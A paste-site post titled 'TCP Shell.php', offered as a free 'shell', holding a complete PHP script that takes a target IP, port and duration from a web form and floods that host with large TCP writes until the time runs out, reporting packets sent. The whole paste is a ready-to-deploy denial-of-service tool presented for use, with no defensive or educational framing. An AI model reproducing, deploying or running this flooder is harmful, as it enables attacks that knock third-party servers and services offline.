FreeShells

TCP Shell.php

Feb 28th, 2017
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.77 KB | None | 0 0
  1.  
  2. Enjoy The Script, For More And Free Shells. Check Out My Profile <3 :)
  3.  
  4.  
  5.  
  6. <html>
  7. <head>
  8. <?php
  9. $ip = $_SERVER['REMOTE_ADDR'];
  10. ?>
  11. </head>
  12. <body bgcolor="black">
  13.  
  14.  
  15.  
  16. <center>
  17. <font face="Arial" color="white">
  18. <pre>
  19. <b>
  20.  
  21.  
  22. <center><b>Your IP:</b> <font color="red"><?php echo $ip; ?></font><br><br></center>
  23. </pre>
  24. <STYLE>
  25.  
  26.  
  27. input
  28. {
  29. background-color: transparent; font-size: 14pt; color: lime; font-family: Arial; border: 1 solid lime;
  30. }
  31. button
  32. {
  33. background-color: lime; font-size: 14pt; color: lime; font-family: Arial; border: 2 solid red;
  34. }
  35.  
  36. body
  37. {
  38. background-color: black;
  39. }
  40.  
  41. </style>
  42. <?php
  43. //TCP
  44. if(isset($_GET['host'])&&isset($_GET['time'])){
  45. $packets = 0;
  46. ignore_user_abort(FALSE);
  47. set_time_limit(0);
  48.  
  49. $exec_time = $_GET['time'];
  50.  
  51. $time = time();
  52. echo "Started: ".time('d-m-y h:i:s')."<br>";
  53. $max_time = $time+$exec_time;
  54.  
  55. $host = $_GET['host'];
  56. $port = $_GET['port'];
  57.  
  58. for($i=0;$i<65000;$i++){
  59. $out .= 'X';
  60. }
  61. while(1){
  62. $packets++;
  63. if(time() > $max_time){
  64. break;
  65. }
  66. $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
  67. if($fp){
  68. fwrite($fp, $out);
  69. fclose($fp);
  70. }
  71. }
  72. echo "<br><b>TCP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  73. echo '<br><br>
  74.  
  75. <form action="'.$surl.'" method=GET>
  76.  
  77. <input type="hidden" name="act" value="phptools">
  78.  
  79. IP: <br><input type=text name=host><br>
  80.  
  81. Port: <br><input type=text name=port><br>
  82.  
  83. Length (seconds): <br><input type=text name=time><br>
  84.  
  85. <input type=submit value=Go></form>';
  86.  
  87. }else{ echo '<br><b>TCP Flood</b><br>
  88.  
  89. <form action=? method=GET>
  90.  
  91. <input type="hidden" name="act" value="phptools">
  92.  
  93. IP: <br><input type=text name=host value=><br>
  94.  
  95. Port: <br><input type=text name=port><br>
  96.  
  97. Length (seconds): <br><input type=text name=time value=><br><br>
  98.  
  99. <input type=submit value=Go></form>';
  100. }
  101. ?>
  102. </b>
  103. </center>
  104. </body>
  105. </html>
Add Comment
Please, Sign In to add comment